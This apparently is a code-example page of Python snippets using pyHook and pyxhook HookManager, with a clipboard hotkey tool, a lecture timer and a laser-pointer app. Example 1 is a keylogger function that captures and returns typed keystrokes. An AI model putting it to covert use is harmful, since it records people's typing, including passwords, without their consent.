Beispiel #1
0
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"],
                             shell=True,
                             stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys
Beispiel #2
0
def main():
    """
    main function (CLI endpoint)
    """
    global key_binding

    parser = argparse.ArgumentParser()

    help = """Set alternate key binding. Default is LCTRL+SPACE
                Format :- <KEY1>+<KEY2>. Ex:- RCTRL+RALT .
                To see available key bindings use 'clix -a' option"""

    parser.add_argument("-s", "--set-keybinding", type=str,
                        default=None, help=help)

    parser.add_argument("-a", "--show-available-keybindings",
                        help="Show available key bindings", action="store_true")

    parser.add_argument("-c", "--show-current-keybinding", action="store_true")

    args = parser.parse_args()
    args_dict = vars(args)

    if args.show_current_keybinding:
        print("Current key binding is: {}".format(get_current_keybinding()))
        sys.exit()

    elif args.show_available_keybindings:
        _show_available_keybindings()
        sys.exit()

    elif args.set_keybinding:
        try:
            keys = args_dict['set_keybinding'].split('+')
            key_binding = [available_keys[keys[0]], available_keys[keys[1]]]
        except KeyError:
            print("Please follow the correct format.")
        else:
            with open(curr_dir + "/clix/config", "wb") as f:
                pickle.dump(key_binding, f, protocol=2)
        finally:
            sys.exit()

    # start key-logging session
    new_hook = HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()
    if current_os == 'linux':
        new_hook.start()
    elif current_os == 'win':
        pythoncom.PumpMessages()
Beispiel #3
0
class Master(QtWidgets.QDialog):
    def __init__(self, parent=None):
        super(Master, self).__init__(parent)
        self.old_volume = get_volume()
        self.program_searching = False
        self.fading = False

        self.initUI()

    def initUI(self):
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint
                            | QtCore.Qt.WindowCloseButtonHint)
        ba = QtCore.QByteArray.fromBase64(icon_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')
        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)
        self.setWindowIcon(icon)

        self.load_settings()

        xspacer = QtWidgets.QSpacerItem(10, 40, QtWidgets.QSizePolicy.Minimum,
                                        QtWidgets.QSizePolicy.Minimum)
        big_xspacer = QtWidgets.QSpacerItem(0, 40,
                                            QtWidgets.QSizePolicy.Expanding,
                                            QtWidgets.QSizePolicy.Minimum)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.pretext_layout = QtWidgets.QHBoxLayout()

        self.pretext_label = QtWidgets.QLabel("Pretext:")
        self.pretext_input = QtWidgets.QLineEdit(self.settings["pretext"])
        self.pretext_input.textChanged.connect(self.set_pretext)

        self.gotime_label = QtWidgets.QLabel("Go Time:")
        self.hour_input = QtWidgets.QComboBox()
        hours = [
            '23', '22', '21', '20', '19', '18', '17', '16', '15', '14', '13',
            '12', '11', '10', '09', '08', '07', '06', '05', '04', '03', '02',
            '01', '00'
        ]
        self.hour_input.insertItems(0, hours)
        self.hour_input.setCurrentIndex(
            hours.index(self.settings['gotime'].split(':')[0]))
        self.hour_input.currentIndexChanged.connect(self.set_gotime)
        self.colon_label = QtWidgets.QLabel(":")
        self.colon_label.setFixedWidth(3)
        self.minute_input = QtWidgets.QComboBox()
        minutes = [
            '59', '58', '57', '56', '55', '54', '53', '52', '51', '50', '49',
            '48', '47', '46', '45', '44', '43', '42', '41', '40', '39', '38',
            '37', '36', '35', '34', '33', '32', '31', '30', '29', '28', '27',
            '26', '25', '24', '23', '22', '21', '20', '19', '18', '17', '16',
            '15', '14', '13', '12', '11', '10', '09', '08', '07', '06', '05',
            '04', '03', '02', '01', '00'
        ]
        self.minute_input.insertItems(0, minutes)
        self.minute_input.setCurrentIndex(
            minutes.index(self.settings['gotime'].split(':')[1]))
        self.minute_input.currentIndexChanged.connect(self.set_gotime)

        self.pretext_layout.addWidget(self.pretext_label)
        self.pretext_layout.addWidget(self.pretext_input)
        self.pretext_layout.addWidget(self.gotime_label)
        self.pretext_layout.addWidget(self.hour_input)
        self.pretext_layout.addWidget(self.colon_label)
        self.pretext_layout.addWidget(self.minute_input)
        self.pretext_layout.addItem(xspacer)

        self.v_layout.addLayout(self.pretext_layout)

        self.settings_layout = QtWidgets.QHBoxLayout()

        self.font_size_label = QtWidgets.QLabel("Font Size:")
        font_sizes = [
            "20", "24", "28", "30", "34", "38", "40", "44", "48", "52", "56",
            "60", "64", "68", "72"
        ]
        self.font_size_combobox = QtWidgets.QComboBox()
        self.font_size_combobox.insertItems(0, font_sizes)
        self.font_size_combobox.setCurrentIndex(
            font_sizes.index(self.settings['fontsize']))
        self.font_size_combobox.currentIndexChanged.connect(self.set_font)

        self.font_type_label = QtWidgets.QLabel("Font Type:")
        self.font_type_combobox = QtWidgets.QFontComboBox()
        self.font_type_combobox.setCurrentFont(
            QtGui.QFont(self.settings['fonttype']))
        self.font_type_combobox.currentIndexChanged.connect(self.set_font)
        self.font_type_combobox.setFixedWidth(128)

        self.fg_color_label = QtWidgets.QLabel("Fg:")
        self.fg_color_button = QtWidgets.QPushButton()
        self.fg_color_button.setFixedWidth(32)
        self.fg_color_button.clicked.connect(self.choose_fg_color)
        self.fg_color_button.setStyleSheet("background-color: " +
                                           self.settings['fgcolor'] + ';')
        self.fg_dialog = QtWidgets.QColorDialog()

        self.bg_color_label = QtWidgets.QLabel("Bg:")
        self.bg_color_button = QtWidgets.QPushButton()
        self.bg_color_button.setFixedWidth(32)
        self.bg_color_button.clicked.connect(self.choose_bg_color)
        self.bg_color_button.setStyleSheet("background-color: " +
                                           self.settings['bgcolor'] + ';')
        self.bg_dialog = QtWidgets.QColorDialog()

        self.settings_layout.addWidget(self.font_size_label)
        self.settings_layout.addWidget(self.font_size_combobox)
        self.settings_layout.addItem(xspacer)
        self.settings_layout.addWidget(self.font_type_label)
        self.settings_layout.addWidget(self.font_type_combobox)
        self.settings_layout.addItem(xspacer)
        self.settings_layout.addWidget(self.fg_color_label)
        self.settings_layout.addWidget(self.fg_color_button)
        self.settings_layout.addWidget(self.bg_color_label)
        self.settings_layout.addWidget(self.bg_color_button)

        self.settings_layout.addItem(big_xspacer)

        self.v_layout.addLayout(self.settings_layout)

        self.fade_layout = QtWidgets.QHBoxLayout()
        self.fade_label = QtWidgets.QLabel("Fade Audio and Close Player:")
        self.fade_checkbox = QtWidgets.QCheckBox()
        self.fade_checkbox.setChecked(bool(self.settings['fadeaudio']))
        self.fade_checkbox.setEnabled(False)
        self.close_label = QtWidgets.QLabel("Player:")
        self.close_button = QtWidgets.QPushButton("")
        self.close_button.setFixedWidth(200)
        self.close_button.clicked.connect(self.start_program_search)

        self.fade_layout.addWidget(self.fade_label)
        self.fade_layout.addWidget(self.fade_checkbox)
        self.fade_layout.addItem(xspacer)
        self.fade_layout.addWidget(self.close_label)
        self.fade_layout.addWidget(self.close_button)
        self.fade_layout.addItem(big_xspacer)

        self.v_layout.addLayout(self.fade_layout)

        self.toggle_timer_button = QtWidgets.QPushButton("Toggle Timer")
        self.toggle_timer_button.clicked.connect(self.toggle_timer)
        self.v_layout.addWidget(self.toggle_timer_button)

        self.hookman = HookManager()
        self.hookman.HookMouse()

        if os.name == 'posix':
            self.hookman.buttonpressevent = self.mousedown
            self.hookman.start()
        elif os.name == 'nt':
            self.hookman.MouseLeftDown = self.mousedown

        self.timer = Timer(app)
        self.timer.prefix = self.pretext_input.text()
        self.timer.gotime = self.hour_input.currentText(
        ) + ':' + self.minute_input.currentText() + ':00'
        font = self.font_type_combobox.currentText()
        size = int(self.font_size_combobox.currentText())
        self.timer.label.setFont(QtGui.QFont(font, size, QtGui.QFont.Bold))
        self.timer.label.setStyleSheet("color: " + self.settings['fgcolor'] +
                                       ';')
        self.timer.setStyleSheet("background-color: " +
                                 self.settings['bgcolor'] + ';')
        self.timer.above_ten_signal.connect(self.get_volume)
        self.timer.below_ten_signal.connect(self.start_fade_thread)
        self.timer.zero_signal.connect(self.reset_volume)

        self.resize_thread = ResizeThread()
        self.resize_thread.reset_timer_signal.connect(self.resize_timer)

        self.fade_thread = FadeThread()
        self.player_getter = PlayerGetterThread()
        self.player_getter.found_signal.connect(self.set_player)

    def start_program_search(self):
        self.program_searching = True
        self.close_button.setText("Click Player Window")

    def mousedown(self, event):
        if self.program_searching:
            self.player_getter.start()

        if os.name == 'nt':
            return True

    def set_player(self):
        program = get_active_process()
        self.close_button.setText(program)
        self.program_searching = False
        self.fade_checkbox.setEnabled(True)

    def set_gotime(self, event):
        self.timer.gotime = self.hour_input.currentText(
        ) + ':' + self.minute_input.currentText() + ':00'
        self.timer.update_time()

    def set_pretext(self, event):
        self.timer.prefix = self.pretext_input.text()
        self.timer.update_time()
        self.resize_thread.start()

    def set_font(self, event):
        font = self.font_type_combobox.currentText()
        size = int(self.font_size_combobox.currentText())
        self.timer.label.setFont(QtGui.QFont(font, size, QtGui.QFont.Bold))
        self.resize_thread.start()

    def resize_timer(self):
        self.timer.resize(0, 0)

    def choose_fg_color(self, event):
        self.setEnabled(False)
        color = self.fg_dialog.getColor(QtGui.QColor(self.settings['fgcolor']))
        if color.isValid():
            self.fg_color_button.setStyleSheet("background-color: " +
                                               color.name() + ";")
            self.settings['fgcolor'] = color.name()
            self.timer.label.setStyleSheet("color: " +
                                           self.settings['fgcolor'] + ';')
        self.setEnabled(True)

    def choose_bg_color(self, event):
        self.setEnabled(False)
        color = self.bg_dialog.getColor(QtGui.QColor(self.settings['bgcolor']))
        if color.isValid():
            self.bg_color_button.setStyleSheet("background-color: " +
                                               color.name() + ";")
            self.settings['bgcolor'] = color.name()
            self.timer.setStyleSheet("background-color: " +
                                     self.settings['bgcolor'] + ';')
        self.setEnabled(True)

    def save_settings(self):
        parts = [
            "pretext: " + self.pretext_input.text(),
            "gotime: " + self.hour_input.currentText() + ':' +
            self.minute_input.currentText(),
            "fontsize: " + self.font_size_combobox.currentText(),
            "fonttype: " + self.font_type_combobox.currentText(),
            "fgcolor: " + self.settings['fgcolor'],
            "bgcolor: " + self.settings['bgcolor'],
            "fadeaudio: " + str(self.fade_checkbox.isChecked()),
            "player: " + str(self.close_button.text())
        ]
        with open("pt_settings.ini", "w") as f:
            f.write('\n'.join(parts))

    def load_settings(self):
        self.settings = {
            "pretext": "Lecture Start:",
            "gotime": "12:00",
            "fontsize": "24",
            "fonttype": "Arial",
            "fgcolor": "black",
            "bgcolor": "white",
            "fadeaudio": "True",
            "player": "vlc"
        }
        try:
            with open("pt_settings.ini", 'r') as f:
                text = f.read()
                lines = text.split('\n')
            for line in lines:
                key = line.split(': ')[0].strip()
                val = line.split(': ')[-1].strip()
                self.settings[key] = val

        except FileNotFoundError:
            pass

    def toggle_timer(self, event):
        if self.timer.isVisible():
            self.timer.hide()
        else:
            self.timer.show()

    def get_volume(self):
        self.old_volume = get_volume()
        if self.fading:
            self.fade_thread.exiting = True
            self.fading = False

    def start_fade_thread(self):
        if self.timer.isVisible(
        ) and self.fading == False and self.fade_checkbox.isChecked(
        ) and self.close_button.text().strip() != '':
            self.fade_thread.exiting = False
            self.fade_thread.start()
            self.fading = True

    def reset_volume(self):
        if self.fade_checkbox.isChecked() and self.timer.isVisible(
        ) and self.close_button.text().strip() != '':
            self.fading = False
            self.fade_thread.exiting = True

            player = self.close_button.text()
            if player.strip() != '':
                if os.name == 'posix':
                    subprocess.call(['killall', player])
                elif os.name == "nt":
                    no_window = 0x08000000
                    subprocess.call('taskkill /F /IM ' + player,
                                    creationflags=no_window)
            set_volume(self.old_volume)

    def closeEvent(self, event):
        self.save_settings()
        self.timer.close()
        if os.name == 'nt':
            self.hookman.UnhookMouse()
class Master(QtWidgets.QDialog):
    def __init__(self, parent=None):
        super(Master, self).__init__(parent)
        self.screens = app.screens()
        self.setupUI()

    def save_ini(self):
        vals = [
            'target_monitor: ' + str(self.target_monitor),
            'preview_left: ' + str(self.preview_left),
            'preview_right: ' + str(self.preview_right),
            'preview_top: ' + str(self.preview_top),
            'preview_bottom: ' + str(self.preview_bottom)
        ]
        with open('settings.ini', 'w') as f:
            f.write('\n'.join(vals))

    def load_ini(self):
        try:
            with open('settings.ini', 'r') as f:
                text = f.read()
            lines = text.split('\n')
            self.settings = {}
            for line in lines:
                key = line.split(':')[0]
                val = line.split(':')[-1].strip()
                self.settings[key] = val

        except FileNotFoundError:
            self.settings = {
                "target_monitor": self.screens[0].name(),
                "preview_left": "60",
                "preview_right": "1258",
                "preview_top": "149",
                "preview_bottom": "823"
            }

            if len(self.screens) > 1:
                self.settings['target_monitor'] = self.screens[1].name()

        self.target_monitor = self.settings['target_monitor']
        self.preview_left = int(self.settings['preview_left'])
        self.preview_right = int(self.settings['preview_right'])
        self.preview_top = int(self.settings['preview_top'])
        self.preview_bottom = int(self.settings['preview_bottom'])


    def setupUI(self):
        self.load_ini()

        ba = QtCore.QByteArray.fromBase64(dot_data)
        pixmap = QtGui.QPixmap()
        pixmap.loadFromData(ba, 'PNG')

        icon = QtGui.QIcon()
        icon.addPixmap(pixmap)

        self.setWindowIcon(icon)
        self.setWindowTitle('MouseFollow')
        self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint | QtCore.Qt.WindowCloseButtonHint)

        self.v_layout = QtWidgets.QVBoxLayout(self)

        self.screen_layout = QtWidgets.QHBoxLayout()

        self.target_monitor_label = QtWidgets.QLabel("Target Monitor:")
        self.target_monitor_cb = QtWidgets.QComboBox()

        found = False
        for i in range(len(self.screens)):
            self.target_monitor_cb.addItem(self.screens[i].name())
            if self.screens[i].name() == self.target_monitor:
                self.target_monitor_cb.setCurrentIndex(i)

        self.target_monitor_cb.currentIndexChanged.connect(self.set_target_monitor)

        self.screen_layout.addWidget(self.target_monitor_label)
        self.screen_layout.addWidget(self.target_monitor_cb)
        self.v_layout.addLayout(self.screen_layout)

        self.draw_label = QtWidgets.QLabel("Draw: Right Alt")
        self.v_layout.addWidget(self.draw_label)

        self.laser_label = QtWidgets.QLabel("Laser: Left Alt")
        self.v_layout.addWidget(self.laser_label)


        self.red_dot = RedDot()
        self.draw_box = DrawBox()
        self.draw_box.mouseup.connect(self.save_preview_pos)

        self.hookman = HookManager()
        self.hookman.KeyDown = self.keydown
        self.hookman.KeyUp = self.keyup
        self.hookman.HookKeyboard()
        if os.name == 'posix':
            self.hookman.start()


        self.thread = Mover()
        self.thread.signal.connect(self.move_dot)
        self.thread.start()

        self.resize(300, 100)
        self.show()

    def set_target_monitor(self):
        self.target_monitor = self.target_monitor_cb.currentText()
        self.save_ini()

    def save_preview_pos(self):
        drawbox_geometry = self.draw_box.geometry()

        self.preview_left = drawbox_geometry.left() + self.draw_box.mouse_down_loc[0]
        self.preview_top = drawbox_geometry.top() + self.draw_box.mouse_down_loc[1]
        self.preview_right = drawbox_geometry.left() + self.draw_box.mouse_up_loc[0]
        self.preview_bottom = drawbox_geometry.top() + self.draw_box.mouse_up_loc[1]

        if self.preview_left > self.preview_right:
            self.preview_right, self.preview_left = self.preview_left, self.preview_right
        if self.preview_top > self.preview_bottom:
            self.preview_top, self.preview_bottom = self.preview_bottom, self.preview_top

        self.save_ini()

    def move_dot(self):
        if self.red_dot.isVisible():
            laser_width = self.red_dot.frameGeometry().width()
            laser_height = self.red_dot.frameGeometry().height()

            pos = QtGui.QCursor().pos()
            x = pos.x()
            y = pos.y()

            width = self.preview_right - self.preview_left
            height = self.preview_bottom - self.preview_top

            if width == 0:
                self.preview_left = 0
                self.preview_right = 1920
                width = self.preview_right - self.preview_left

            if height == 0:
                self.preview_top = 0
                self.preview_bottom = 1080
                height = self.preview_bottom - self.preview_top

            x_fac = (x - self.preview_left) / width
            y_fac = (y - self.preview_top) / height

            for screen in self.screens:
                if screen.name() == self.target_monitor_cb.currentText():
                    target_screen = screen
                    break

            geometry = target_screen.geometry()
            new_x = geometry.left() + (geometry.width() * x_fac) - (laser_width / 2)
            new_y = geometry.top() + (geometry.height() * y_fac) - (laser_height / 2)

            if new_x < geometry.left():
                new_x = geometry.left()
            elif new_x > geometry.left() + geometry.width() - laser_width:
                new_x = geometry.left() + geometry.width() - laser_width

            if new_y < geometry.top():
                new_y = geometry.top()
            elif new_y > geometry.top() + geometry.height() - laser_width:
                new_y = geometry.top() + geometry.height() - laser_width

            self.red_dot.move(new_x, new_y)


    def closeEvent(self, event):
        self.thread.terminate()
        self.hookman.cancel()


    def keydown(self, event):
        if event.Key == 'Lmenu' or event.Key == 'Alt_L':
            self.red_dot.show()

        elif event.Key == 'Rmenu' or event.Key == 'Alt_R':
            pos = QtGui.QCursor().pos()
            x = pos.x()
            y = pos.y()

            for screen in self.screens:
                geometry = screen.geometry()
                left = geometry.left()
                top = geometry.top()
                width = geometry.width()
                height = geometry.height()

                if x >= left and x < left + width and y >= top and y < top + height:
                    source_screen = screen
                    break

            self.draw_box.setGeometry(source_screen.geometry())
            self.draw_box.show()

        return 1

    def keyup(self, event):
        if event.Key == 'Lmenu' or event.Key == 'Alt_L':
            self.red_dot.hide()
        elif event.Key == 'Rmenu' or event.Key == 'Alt_R':
            self.draw_box.hide()
        return 1

    def closeEvent(self, event):
        pass